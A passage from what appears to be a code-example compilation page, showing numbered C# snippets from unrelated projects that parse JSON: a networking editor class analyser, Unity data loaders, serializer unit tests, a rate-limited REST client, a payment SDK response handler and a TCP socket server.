                            uniqueMethods[x].GetParameters().Length == baseMethods[i].GetParameters().Length)
                        {
                            var  argsA = uniqueMethods[x].GetParameters();
                            var  argsB = baseMethods[i].GetParameters();
                            bool same  = true;

                            for (int j = 0; j < argsA.Length; j++)
                            {
                                if (!argsA[j].Equals(argsB[j]))
                                {
                                    same = false;
                                    break;
                                }
                            }

                            if (same)
                            {
                                uniqueMethods.RemoveAt(x);
                            }

                            break;
                        }
                    }
                }

                for (int i = 0; i < baseProperties.Length; ++i)
                {
                    for (int x = 0; x < uniqueProperties.Count; ++x)
                    {
                        if (uniqueProperties[x].Name == baseProperties[i].Name)
                        {
                            uniqueProperties.RemoveAt(x);
                            break;
                        }
                    }
                }

                for (int i = 0; i < baseFields.Length; ++i)
                {
                    for (int x = 0; x < uniqueFields.Count; ++x)
                    {
                        if (uniqueFields[x].Name == baseFields[i].Name)
                        {
                            uniqueFields.RemoveAt(x);
                            break;
                        }
                    }
                }
            }

            #region IGNORES
            for (int i = 0; i < uniqueFields.Count; ++i)
            {
                switch (uniqueFields[i].Name)
                {
                case "IDENTITY":
                case "networkObject":
                case "fieldAltered":
                case "_dirtyFields":
                case "dirtyFields":
                    uniqueFields.RemoveAt(i--);
                    //TODO: Store the types for re-use
                    continue;
                }

                if (uniqueFields[i].Name.EndsWith("Changed"))
                {
                    uniqueFields.RemoveAt(i--);
                    continue;
                }

                if (uniqueFields[i].Name.EndsWith("Interpolation"))
                {
                    uniqueFields.RemoveAt(i--);

                    //TODO: Store the types for re-use
                    continue;
                }
            }

            for (int i = 0; i < uniqueMethods.Count; ++i)
            {
                switch (uniqueMethods[i].Name.ToLower())
                {
                case "initialize":
                case "networkcreateobject":
                    uniqueMethods.RemoveAt(i--);
                    continue;
                }

                if (uniqueMethods[i].Name.EndsWith("Changed"))
                {
                    uniqueMethods.RemoveAt(i--);
                    continue;
                }

                if (uniqueMethods[i].Name.StartsWith("get_") ||
                    uniqueMethods[i].Name.StartsWith("set_"))
                {
                    uniqueMethods.RemoveAt(i--);
                    continue;
                }
            }
            #endregion

#if FORGE_EDITOR_DEBUGGING
            forgeClassDebug += "Properties:\n";
            foreach (PropertyInfo a in uniqueProperties)
            {
                forgeClassDebug += a.Name + " (" + a.PropertyType + ")" + System.Environment.NewLine;
            }
            forgeClassDebug += System.Environment.NewLine;

            forgeClassDebug += "Fields:\n";
#endif
            if (ObjectClassType != ForgeBaseClassType.Enums)
            {
                if (interpolData != null)
                {
                    JSONArray currentInterpolationVariables = interpolData["inter"].AsArray;
                    if (currentInterpolationVariables != null)
                    {
                        for (int i = 0; i < currentInterpolationVariables.Count; ++i)
                        {
                            float interPolVal = currentInterpolationVariables[i].AsFloat;
                            _interpolationValues.Add(interPolVal);
                        }
                    }
                }
                else
                {
                    for (int i = 0; i < uniqueFields.Count; ++i)
                    {
                        _interpolationValues.Add(ForgeNetworkingEditor.DEFAULT_INTERPOLATE_TIME);
                    }
                }

                for (int i = 0; i < uniqueFields.Count; ++i)
                {
                    ForgeClassFieldValue val = ForgeClassFieldValue.GetClassField(uniqueFields[i], currentType, _interpolationValues[i] > 0, _interpolationValues[i]);
                    Fields.Add(val);
#if FORGE_EDITOR_DEBUGGING
                    Debug.Log(val);
                    forgeClassDebug += uniqueFields[i].Name + " (" + uniqueFields[i].FieldType + ")" + System.Environment.NewLine;
#endif
                }
            }
#if FORGE_EDITOR_DEBUGGING
            forgeClassDebug += System.Environment.NewLine;

            forgeClassDebug += "Methods:\n";
#endif
            List <List <ForgeAcceptableRPCTypes> > rpcSupportedTypes = new List <List <ForgeAcceptableRPCTypes> >();
            if (typeData != null)
            {
                JSONArray currentRPCVariables = typeData["types"].AsArray;
                if (currentRPCVariables != null)
                {
                    for (int i = 0; i < currentRPCVariables.Count; ++i)
                    {
                        JSONArray singularArray = currentRPCVariables[i].AsArray;
                        if (singularArray != null)
                        {
                            List <ForgeAcceptableRPCTypes> singularSupportedTypes = new List <ForgeAcceptableRPCTypes>();
                            for (int x = 0; x < singularArray.Count; ++x)
                            {
                                ForgeAcceptableRPCTypes singularType = ForgeClassFieldRPCValue.GetTypeFromAcceptable(singularArray[x].Value);
                                singularSupportedTypes.Add(singularType);
                            }
                            rpcSupportedTypes.Add(singularSupportedTypes);
                        }
                    }
                }
            }
            else
            {
                for (int i = 0; i < uniqueMethods.Count; ++i)
                {
                    rpcSupportedTypes.Add(new List <ForgeAcceptableRPCTypes>());
                }
            }

            List <List <string> > typeHelpers = new List <List <string> >();
            if (typeHelperData != null)
            {
                JSONArray currentHelperRPCTypes = typeHelperData["types"].AsArray;
                if (currentHelperRPCTypes != null)
                {
                    for (int i = 0; i < currentHelperRPCTypes.Count; ++i)
                    {
                        JSONArray singularHelperArray = currentHelperRPCTypes[i].AsArray;
                        if (singularHelperArray != null)
                        {
                            List <string> singularSupportedTypes = new List <string>(new string[Mathf.Max(singularHelperArray.Count, rpcSupportedTypes.Count)]);
                            for (int x = 0; x < singularHelperArray.Count; ++x)
                            {
                                string singularHelperType = singularHelperArray[x].Value.Replace(" ", string.Empty);
                                singularSupportedTypes[x] = singularHelperType;
                            }
                            typeHelpers.Add(singularSupportedTypes);
                        }
                    }
                }
            }
            else
            {
                //This is missing the type helper data
                for (int i = 0; i < rpcSupportedTypes.Count; ++i)
                {
                    typeHelpers.Add(new List <string>(new string[rpcSupportedTypes[i].Count]));
                }
            }

            for (int i = 0; i < uniqueMethods.Count; ++i)
            {
                RPCS.Add(new ForgeClassRPCValue(uniqueMethods[i], rpcSupportedTypes[i], typeHelpers[i]));
#if FORGE_EDITOR_DEBUGGING
                ParameterInfo[] paramsInfo = a.GetParameters();
                string          parameters = "";
                foreach (ParameterInfo info in paramsInfo)
                {
                    parameters += info.ParameterType + ", ";
                }

                forgeClassDebug += a.Name + " (" + parameters + ")" + System.Environment.NewLine;
#endif
            }

#if FORGE_EDITOR_DEBUGGING
            forgeClassDebug += "Class Type: " + ObjectClassType;
            forgeClassDebug += "\nSearchName: " + StrippedSearchName;
            forgeClassDebug += "\nIsNetworkedObject: " + IsNetworkObject;
            forgeClassDebug += "\nIsNetworkBehavior: " + IsNetworkBehavior;
            forgeClassDebug += System.Environment.NewLine;

            Debug.Log(forgeClassDebug);
#endif
        }
Exemple #51
0
    /* Return the number of levels */
    private int levelsInThisGame()
    {
        var logic = JSON.Parse(jsonString);

        return(logic.AsObject.Count - 1); //-1 to account for game_core
    }
    IEnumerator GetWorldSchedule()
    {
        UnityWebRequest worldScheduleInfoRequest = UnityWebRequest.Get(baseWorldScheduleInfoURL);

        yield return(worldScheduleInfoRequest.SendWebRequest());

        if (worldScheduleInfoRequest.isNetworkError || worldScheduleInfoRequest.isHttpError)
        {
            //Debug.LogError(worldScheduleInfoRequest.error);
            yield break;
        }

        JSONNode worldScheduleInfo = JSON.Parse(worldScheduleInfoRequest.downloadHandler.text);

        for (int i = 0; i < worldScheduleInfo.Count; i++)
        {
            worldTextArray.Add(worldScheduleInfo[i]["world"]);
            allSectionArray.Add(worldScheduleInfo[i]["section"]);
            allTutorialGroupArray.Add(worldScheduleInfo[i]["tutorialGroupId"]);
            allUnlockDateArray.Add(worldScheduleInfo[i]["unlockDate"]);
            //Debug.Log();
        }

        worldList = worldTextArray;


        sectionList = new List <string>();
        sectionList = allSectionArray;
        //Debug.Log(sectionList);

        tutorialGroupList = new List <string>();
        tutorialGroupList = allTutorialGroupArray;

        unlockDateList = new List <JSONNode>();
        unlockDateList = allUnlockDateArray;

        if (worldList.Count > 0)
        {
            noRecordLabel.gameObject.SetActive(false);
            RectTransform rt = (RectTransform)mainScrollContentView.transform;
            for (int i = 0; i < worldList.Count; i++)
            {
                string value                = worldList[i];
                string currentSection       = sectionList[i];
                string currentTutorialGroup = tutorialGroupList[i];
                int    currentUnlockYear    = unlockDateList[i]["year"];
                int    currentUnlockMonth   = unlockDateList[i]["month"];
                int    currentUnlockDay     = unlockDateList[i]["day"];
                int    currentUnlockHour    = unlockDateList[i]["hour"];
                int    currentUnlockMinute  = unlockDateList[i]["minute"];
                //Debug.Log(sectionList[i].Count);
                GameObject playerTextPanel = (GameObject)Instantiate(ContentDataPanel);
                playerTextPanel.transform.SetParent(mainScrollContentView.transform);
                playerTextPanel.transform.localScale    = new Vector3(1, 1, 1);
                playerTextPanel.transform.localPosition = new Vector3(0, 0, 0);
                playerTextPanel.transform.Find("Text_World").GetComponent <Text>().text          = value;
                playerTextPanel.transform.Find("Text_Section").GetComponent <Text>().text        = currentSection;
                playerTextPanel.transform.Find("Text_Tutorial_Group").GetComponent <Text>().text = currentTutorialGroup;
                playerTextPanel.transform.Find("Text_Date_Time").GetComponent <Text>().text      = currentUnlockYear.ToString() + '/' + currentUnlockMonth.ToString() + '/' + currentUnlockDay.ToString() + ' ' + currentUnlockHour.ToString() + ':' + currentUnlockMinute.ToString();
            }
        }
        else
        {
            noRecordLabel.gameObject.SetActive(true);
        }
    }
Exemple #53
0
    /* Get the input text for an action */
    private string getActionText(int index)
    {
        var logic = JSON.Parse(jsonString);

        return(logic["game_core"]["prefixes"][index]);
    }
Exemple #54
0
        public void ToStringJSON()
        {
            {
                var dyn         = JSON.DeserializeDynamic("{\"Hello\":1}");
                var res         = dyn.ToString();
                var shouldMatch = JSON.Serialize(new { Hello = 1 }, Options.ISO8601PrettyPrint);
                Assert.AreEqual(shouldMatch, res);
            }

            {
                var dyn1 = JSON.DeserializeDynamic(long.MaxValue.ToString());
                var dyn2 = JSON.DeserializeDynamic(ulong.MaxValue.ToString());
                var dyn3 = JSON.DeserializeDynamic(long.MinValue.ToString());
                var res1 = dyn1.ToString();
                var res2 = dyn2.ToString();
                var res3 = dyn3.ToString();
                Assert.AreEqual(long.MaxValue.ToString(), res1);
                Assert.AreEqual(ulong.MaxValue.ToString(), res2);
                Assert.AreEqual(long.MinValue.ToString(), res3);
            }

            {
                var dyn = JSON.DeserializeDynamic("1.23456");
                var res = dyn.ToString();
                Assert.AreEqual("1.23456", res);
            }

            {
                var dyn1 = JSON.DeserializeDynamic("true");
                var dyn2 = JSON.DeserializeDynamic("false");
                var res1 = dyn1.ToString();
                var res2 = dyn2.ToString();
                Assert.AreEqual("true", res1);
                Assert.AreEqual("false", res2);
            }

            {
                var now = DateTime.UtcNow;
                var str = JSON.Serialize(now, Options.ISO8601);
                var dyn = JSON.DeserializeDynamic(str, Options.ISO8601);
                var res = dyn.ToString();
                Assert.AreEqual(str, res);
            }

            {
                var g   = Guid.NewGuid();
                var str = JSON.Serialize(g);
                var dyn = JSON.DeserializeDynamic(str);
                var res = dyn.ToString();
                Assert.AreEqual(str, res);
            }

            {
                var dyn = JSON.DeserializeDynamic("\"how are you today?\"");
                var str = dyn.ToString();
                Assert.AreEqual("\"how are you today?\"", str);
            }

            {
                var dyn1         = JSON.DeserializeDynamic("[1,2,3]");
                var dyn2         = JSON.DeserializeDynamic("[]");
                var dyn3         = JSON.DeserializeDynamic("[1, \"hello\", {}, 456]");
                var res1         = dyn1.ToString();
                var res2         = dyn2.ToString();
                var res3         = dyn3.ToString();
                var shouldMatch1 = JSON.Serialize(new[] { 1, 2, 3 }, Options.ISO8601PrettyPrint);
                var shouldMatch2 = JSON.Serialize(new object[0], Options.ISO8601PrettyPrint);
                var shouldMatch3 =
                    "[" +
                    JSON.Serialize(1, Options.ISO8601PrettyPrint) +
                    ", " +
                    JSON.Serialize("hello", Options.ISO8601PrettyPrint) +
                    ", " +
                    JSON.Serialize(new { }, Options.ISO8601PrettyPrint) +
                    ", " +
                    JSON.Serialize(456, Options.ISO8601PrettyPrint) +
                    "]";
                Assert.AreEqual(shouldMatch1, res1);
                Assert.AreEqual(shouldMatch2, res2);
                Assert.AreEqual(shouldMatch3, res3);
            }
        }
Exemple #55
0
 private static IDictionary <string, object> Parse(string jsonString)
 {
     return((IDictionary <string, object>)JSON.Parse(jsonString));
 }
Exemple #56
0
        public dynamic CreateShare(string accessToken, string title = null)
        {
            var uri = GetUri($"/1/shares/create?accesstoken={accessToken}");

            return(JSON.FromUriPost(uri, title != null ? new string[] { "title", title } : new string[0]));
        }
        T RequestInternal <T>(string route, string endpoint, string post, params Parameter[] parameters)
        {
            lock (limiterlock) {
                while (DateTime.Now < limiter.Reset)
                {
                    TimeSpan timetoreset = limiter.Reset - DateTime.Now;
                    if (timetoreset.TotalSeconds > 0.0)
                    {
                        Logger.Warning(this, $"Well, rate limits have been hit ... watiting for {timetoreset} now.");
                        Thread.Sleep(timetoreset);
                    }
                }

                try
                {
                    using (WebClient wc = new WebClient()) {
                        wc.Headers.Add("User-Agent", "StreamRC (http://www.nightlycode.de, v0.2)");
                        //wc.Headers.Add("Client-ID", clientid);
                        wc.Headers.Add("Authorization", $"{(botaccess ? "Bot" : "Bearer")} {token}");

                        if (parameters != null)
                        {
                            foreach (Parameter parameter in parameters)
                            {
                                wc.QueryString.Add(parameter.Key, parameter.Value);
                            }
                        }

                        string response;
                        if (!string.IsNullOrEmpty(post))
                        {
                            wc.Headers[HttpRequestHeader.Accept]      = "application/json";
                            wc.Headers[HttpRequestHeader.ContentType] = "application/json";
                            response = wc.UploadString($"{url}/{route}/{endpoint}", post);
                        }
                        else
                        {
                            response = wc.DownloadString($"{url}/{route}/{endpoint}");
                        }

                        ParseRateLimits(route, wc.ResponseHeaders);

                        return(JSON.Read <T>(response));
                    }
                }
                catch (WebException e) {
                    if (e.Response is HttpWebResponse response)
                    {
                        if ((int)response.StatusCode == 429)
                        {
                            RateLimitError error = JSON.Read <RateLimitError>(response.GetResponseStream());
                            Logger.Warning(this, $"{response.StatusCode}", error.Message);

                            if (error.Global)
                            {
                                lock (limiterlock) {
                                    Thread.Sleep(error.RetryAfter);
                                }
                            }
                            else
                            {
                                limiter.Remaining = 0;
                                limiter.Reset     = DateTime.Now + TimeSpan.FromMilliseconds(error.RetryAfter);
                            }
                        }
                        else
                        {
                            RequestError error = JSON.Read <RequestError>(response.GetResponseStream());
                            Logger.Warning(this, $"{response.StatusCode}", error.Message);
                        }

                        ParseRateLimits(route, response.Headers);
                    }

                    throw new RateLimitException("Rate limit was hit. Limiters should have been updated, so an immediate retry will sleep until rate limit is supposed to be reset.");
                }
            }
        }
Exemple #58
0
    public void WWWW(string a)
    {
        //ShowLog(a);

        Hashtable hs = (Hashtable)JSON.JsonDecode(a, ref ok);
    }
        private IEnumerator WaitForRequest(int pType, WWW www, Dictionary <string, object> post)
        {
            Logger.Log("Start get www");
            yield return(www);

            // check for errors
            if (www.error == null)
            {
                Debug.Log("Type -> " + pType);
                Debug.Log("WWW_request -> " + www.text);
                string data = www.text;

                JSONNode rootNode = JSON.Parse(www.text);
                if (rootNode != null && rootNode.Count > 2 || rootNode["error"] == null)
                {
                    switch (pType)
                    {
                    case TRANSLATIONS:
                    {
                        if (rootNode.Count > 2)
                        {
                            XsollaUtils utils = new XsollaUtils().Parse(rootNode) as XsollaUtils;
                            projectId = utils.GetProject().id.ToString();
                            if (baseParams.ContainsKey(XsollaApiConst.ACCESS_TOKEN))
                            {
                                utils.SetAccessToken(baseParams[XsollaApiConst.ACCESS_TOKEN].ToString());
                            }

                            OnUtilsRecieved(utils);
//								// if base param not containKey access token, then add token from util
//								if (!baseParams.ContainsKey(XsollaApiConst.ACCESS_TOKEN))
//									_accessToken = utils.GetAcceessToken();
                            OnTranslationRecieved(utils.GetTranslations());
                        }
                        else
                        {
                            XsollaError error = new XsollaError();
                            error.Parse(rootNode);
                            OnErrorReceived(error);
                        }
                        break;
                    }

                    case DIRECTPAYMENT_FORM:
                    {
                        if (rootNode.Count > 8)
                        {
                            XsollaForm form = new XsollaForm();
                            form.Parse(rootNode);
                            switch (form.GetCurrentCommand())
                            {
                            case XsollaForm.CurrentCommand.STATUS:
                                // if we replaced or add saved account, we must start loop on get list saved account
                                if (post.ContainsKey("save_payment_account_only") || (post.ContainsKey("replace_payment_account")))
                                {
                                    if (!form.IsCardPayment() && !(post.ContainsKey("replace_payment_account")))
                                    {
                                        OnWaitPaymentChange();
                                        break;
                                    }
                                    else
                                    {
                                        OnPaymentManagerMethod(null, post.ContainsKey("replace_payment_account")?false:true);
                                        break;
                                    }
                                }
                                GetStatus(form.GetXpsMap());
                                break;

                            case XsollaForm.CurrentCommand.CHECKOUT:
                            case XsollaForm.CurrentCommand.CHECK:
                            case XsollaForm.CurrentCommand.FORM:
                            case XsollaForm.CurrentCommand.CREATE:
                            case XsollaForm.CurrentCommand.ACCOUNT:
                                OnFormReceived(form);
                                break;

                            case XsollaForm.CurrentCommand.UNKNOWN:
                                if (rootNode.Count > 10)
                                {
                                    OnFormReceived(form);
                                }
                                else
                                {
                                    XsollaError error = new XsollaError();
                                    error.Parse(rootNode);
                                    OnErrorReceived(error);
                                }
                                break;

                            default:
                                break;
                            }
                        }
                        else
                        {
                            XsollaStatusPing statusPing = new XsollaStatusPing();
                            statusPing.Parse(rootNode);
                            OnStatusChecked(statusPing);
                        }
                        break;
                    }

                    case DIRECTPAYMENT_STATUS:
                    {
                        XsollaForm form = new XsollaForm();
                        form.Parse(rootNode);
                        XsollaStatus status = new XsollaStatus();
                        status.Parse(rootNode);
                        OnStatusReceived(status, form);
                        break;
                    }

                    case PRICEPOINTS:
                    {
                        XsollaPricepointsManager pricepoints = new XsollaPricepointsManager();
                        pricepoints.Parse(rootNode);
                        OnPricepointsRecieved(pricepoints);
                        break;
                    }

                    case GOODS:
                    {
                        XsollaGoodsManager goods = new XsollaGoodsManager();
                        goods.Parse(rootNode);
                        OnGoodsRecieved(goods);
                        break;
                    }

                    case GOODS_GROUPS:
                    {
                        XsollaGroupsManager groups = new XsollaGroupsManager();
                        groups.Parse(rootNode);
                        OnGoodsGroupsRecieved(groups);
                        break;
                    }

                    case GOODS_ITEMS:
                    {
                        XsollaGoodsManager goods = new XsollaGoodsManager();
                        goods.Parse(rootNode);
                        OnGoodsRecieved(goods);
                        break;
                    }

                    case PAYMENT_LIST:
                    {
                        XsollaPaymentMethods paymentMethods = new XsollaPaymentMethods();
                        paymentMethods.Parse(rootNode);
                        OnPaymentMethodsRecieved(paymentMethods);
                        break;
                    }

                    case SAVED_PAYMENT_LIST:
                    {
                        XsollaSavedPaymentMethods savedPaymentsMethods = new XsollaSavedPaymentMethods();
                        savedPaymentsMethods.Parse(rootNode);
                        OnSavedPaymentMethodsRecieved(savedPaymentsMethods);
                        break;
                    }

                    case QUICK_PAYMENT_LIST:
                    {
                        XsollaQuickPayments quickPayments = new XsollaQuickPayments();
                        quickPayments.Parse(rootNode);
                        OnQuickPaymentMethodsRecieved(quickPayments);
                        break;
                    }

                    case COUNTRIES:
                    {
                        XsollaCountries countries = new XsollaCountries();
                        countries.Parse(rootNode);
                        OnCountriesRecieved(countries);
                        break;
                    }

                    case VIRTUAL_PAYMENT_SUMMARY:
                    {
                        XVirtualPaymentSummary summary = new XVirtualPaymentSummary();
                        summary.Parse(rootNode);
                        Logger.Log("VIRTUAL_PAYMENT_SUMMARY " + summary.ToString());
                        if (summary.IsSkipConfirmation)
                        {
                            Logger.Log("IsSkipConfirmation true");
                            post.Add("dont_ask_again", 0);
                            ProceedVPayment(post);
                        }
                        else
                        {
                            Logger.Log("IsSkipConfirmation false");
                            OnVPSummaryRecieved(summary);
                        }
                        break;
                    }

                    case VIRTUAL_PROCEED:
                    {
                        XProceed proceed = new XProceed();
                        proceed.Parse(rootNode);
                        Logger.Log("VIRTUAL_PROCEED " + proceed.ToString());
                        if (proceed.IsInvoiceCreated)
                        {
                            Logger.Log("VIRTUAL_PROCEED 1");
                            long operationId = proceed.OperationId;
                            post.Add("operation_id", operationId);
                            VPaymentStatus(post);
                        }
                        else
                        {
                            Logger.Log("VIRTUAL_PROCEED 0 ");
                            OnVPProceedError(proceed.Error);
                        }
                        break;
                    }

                    case VIRTUAL_STATUS:
                    {
                        XVPStatus vpStatus = new XVPStatus();
                        vpStatus.Parse(rootNode);
                        Logger.Log("VIRTUAL_STATUS" + vpStatus.ToString());
                        OnVPStatusRecieved(vpStatus);
                        break;
                    }

                    case APPLY_PROMO_COUPONE:
                    {
                        XsollaForm form = new XsollaForm();
                        form.Parse(rootNode);
                        OnApplyCouponeReceived(form);
                        break;
                    }

                    case COUPON_PROCEED:
                    {
                        XsollaCouponProceedResult couponProceed = new XsollaCouponProceedResult();
                        couponProceed.Parse(rootNode);
                        if (couponProceed._error != null)
                        {
                            Logger.Log("COUPON_PROCEED ERROR: " + couponProceed._error);
                            OnCouponProceedErrorRecived(couponProceed);
                        }
                        else
                        {
                            long operationId = couponProceed._operationId;
                            if (post.ContainsKey("coupon_code"))
                            {
                                post.Remove("coupon_code");
                            }
                            post.Add("operation_id", operationId);

                            VPaymentStatus(post);
                        }
                        break;
                    }

                    case CALCULATE_CUSTOM_AMOUNT:
                    {
                        CustomVirtCurrAmountController.CustomAmountCalcRes res = new CustomVirtCurrAmountController.CustomAmountCalcRes().Parse(rootNode["calculation"]) as CustomVirtCurrAmountController.CustomAmountCalcRes;
                        OnCustomAmountResRecieved(res);
                        break;
                    }

                    case PAYMENT_MANAGER_LIST:
                    {
                        XsollaSavedPaymentMethods res = new XsollaSavedPaymentMethods().Parse(rootNode) as XsollaSavedPaymentMethods;
                        OnPaymentManagerMethod(res, false);
                        break;
                    }

                    case DELETE_SAVED_METHOD:
                    {
                        OnDeleteSavedPaymentMethod();
                        break;
                    }

                    case SUBSCRIPTIONS_MANAGER_LIST:
                    {
                        XsollaManagerSubscriptions lSubsList = new XsollaManagerSubscriptions().Parse(rootNode["subscriptions"]) as XsollaManagerSubscriptions;
                        OnManageSubsListrecived(lSubsList);
                        break;
                    }

                    default:
                        break;
                    }
                }
                else
                {
                    XsollaError error = new XsollaError();
                    error.Parse(rootNode);
                    OnErrorReceived(error);
                }
            }
            else
            {
                JSONNode errorNode = JSON.Parse(www.text);
                string   errorMsg  = errorNode["errors"].AsArray[0]["message"].Value
                                     + ". Support code " + errorNode["errors"].AsArray[0]["support_code"].Value;
                int errorCode = 0;
                if (www.error.Length > 3)
                {
                    errorCode = int.Parse(www.error.Substring(0, 3));
                }
                else
                {
                    errorCode = int.Parse(www.error);
                }
                OnErrorReceived(new XsollaError(errorCode, errorMsg));
            }
            if (projectId != null && !"".Equals(projectId))
            {
                LogEvent("UNITY " + SDK_VERSION + " REQUEST", projectId, www.url);
            }
            else
            {
                LogEvent("UNITY " + SDK_VERSION + " REQUEST", "undefined", www.url);
            }
        }
Exemple #60
0
        private void socketReceiveWork(object accept)
        {
            Socket  s       = accept as Socket;
            string  json    = "";
            Request request = new Request();

            request.DeviceId = "";
            try
            {
                while (true)
                {
                    //通过clientSocket接收数据
                    s.ReceiveTimeout = -1;
                    int receiveNumber = s.Receive(buffer);
                    if (receiveNumber == 1 && buffer[0] == HeartBeat.ASK)
                    {
                        mLogHelper.InfoFormat("addr:{0}, deviceId:{1}, Receive: HeartBeat.ASK, ByteCount:{2}", ((IPEndPoint)s.RemoteEndPoint).Address.ToString(), request.DeviceId, receiveNumber);
                        s.Send(new byte[] { HeartBeat.ANS });
                        mLogHelper.InfoFormat("addr:{0}, deviceId:{1}, response: HeartBeat.ANS", ((IPEndPoint)s.RemoteEndPoint).Address.ToString(), request.DeviceId);
                        continue;
                    }
                    if (receiveNumber <= 0)
                    {
                        mLogHelper.InfoFormat("addr:{0}, deviceId:{1}, Receive: null, ByteCount:{3}", ((IPEndPoint)s.RemoteEndPoint).Address.ToString(), request.DeviceId, json, receiveNumber);
                        break;
                    }
                    json = Encoding.UTF8.GetString(buffer, 0, receiveNumber);
                    mLogHelper.InfoFormat("addr:{0}, deviceId:{1}, Receive:{2}, ByteCount:{3}", ((IPEndPoint)s.RemoteEndPoint).Address.ToString(), request.DeviceId, json, receiveNumber);
                    request.Code = -1;
                    try
                    {
                        JSONNode node = JSON.Parse(json);
                        request.Code      = int.Parse(node[RequestKey.Code]);
                        request.Args      = (node[RequestKey.Args] as JSONArray).Childs.Select((m) => ((string)m)).ToArray();
                        request.RequestId = node[RequestKey.RequestId];
                        if (request.RequestId == null)
                        {
                            request.RequestId = "";
                        }
                        string deviceId = node[RequestKey.DeviceId];
                        if (!string.IsNullOrEmpty(deviceId))
                        {
                            request.DeviceId = deviceId;
                        }
                    }
                    catch
                    {
                        request.Args = new string[0];
                    }
                    if (request.Code == (int)RequestCode.DisConnect)
                    {
                        break;
                    }
                    string end;
                    try
                    {
                        end = handleCommand(s, json, request);
                    }
                    catch (Exception ex)
                    {
                        end = ex.Message;
                        Console.WriteLine(ex.Message);
                        Console.WriteLine(ex.StackTrace);
                    }
                    if (end != null)
                    {
                        JSONClass response = new JSONClass();
                        response.Add(ResponseKey.Code, "0");
                        response.Add(ResponseKey.Data, end);
                        response.Add(ResponseKey.RequestId, request.RequestId);
                        string responseJson = response.ToString();
                        mLogHelper.InfoFormat("addr:{0}, deviceId:{1}, response:{2}", ((IPEndPoint)s.RemoteEndPoint).Address.ToString(), request.DeviceId, responseJson);
                        s.Send(Encoding.UTF8.GetBytes(responseJson));
                    }
                    else
                    {
                        mLogHelper.InfoFormat("addr:{0}, deviceId:{1}, no response", ((IPEndPoint)s.RemoteEndPoint).Address.ToString(), request.DeviceId);
                    }
                }
            }
            catch (Exception ex)
            {
                mLogHelper.InfoFormat("addr:{0}, deviceId:{1}, while Receivere Exception:{2}", ((IPEndPoint)s.RemoteEndPoint).Address.ToString(), request.DeviceId, ex.Message);
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }
            finally
            {
                mLogHelper.InfoFormat("addr:{0}, deviceId:{1}, socket close", ((IPEndPoint)s.RemoteEndPoint).Address.ToString(), request.DeviceId);
                s.Shutdown(SocketShutdown.Both);
                s.Disconnect(true);
                s.Close();
            }
        }